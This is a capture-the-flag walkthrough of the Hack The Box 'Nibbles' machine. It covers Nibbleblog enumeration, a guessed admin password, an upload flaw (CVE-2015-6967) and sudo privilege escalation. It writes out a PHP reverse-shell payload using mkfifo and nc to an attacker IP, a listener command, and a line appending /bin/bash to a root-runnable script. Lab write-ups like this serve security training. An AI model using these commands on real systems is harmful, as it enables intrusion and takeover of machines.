Hackthebox - Nibbles

  • Linux

Nibbles

Nmap

Port 80

  • If we browse there we have an hello world.

  • If we check the source code, we have an interesting comment

comment
  • This brings us here

nibbleblog
  • Let's see what info we have with whatweb

whatweb

Enumerate dir in nibbleblog

  • Admin

admin
  • Readme

readme
  • Content

Content
  • Plugins

Plugins
  • Thèmes

Thèmes
  • Admin.php

Admin
  • We also find multiple xml files. The users.xml and config.xml seem interesting

  • Users

  • Config

  • This confirm that a user named admin exist.

  • We can not bruteforce because of the IP blacklist that is set as a protection.

  • The word nibbles frequently comes back. Let's try it as a password for admin. It works.

admin panel
  • While looking for info on nibbleblog we found a CVE: CVE-2015-6967

  • It is also worth having a look around

  • This way we find a plugin "My image" that allows us to upload files

plugin
  • Let's try to upload a php file and see if it gets executed. Here is our php file

php
  • The file seems to be uploaded when we explored the files previously there was a content directory, so our file is probably there somewhere let's have a look. Yes there is a new image.php file here

image
  • And our command (ls) works, we have command execution!

ls
  • We could do a webshell. But let's try for a reverse shell.

  • Let's edit our previous file <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 4444) >/tmp/f'); ?>

reverse shell
  • We now need to set a listener rlwrap nc -lnvp 4444

  • We get a shell

  • We can make it a little better with python3 -c 'import pty; pty.spawn("/bin/bash")' and grab the user flag. shell

  • Along with the flag we have zip personal.zip that seems interesting for later.

ls

Privilege escalation

  • Let's have a look at the zip file. There is stuff folder with a bash script inside

bash script
  • Using sudo -l we see that we are able to run it as root

run as root
  • Let's add this in our script this will launch bash as root and should allow us to get root /bin/bash echo '/bin/bash' | tee -a /home/nibbler/personal/stuff/monitor.sh.

  • Indeed if we sudo /home/nibbler/personal/stuff/monitor.sh we get root and can grab the last flag

root

Last updated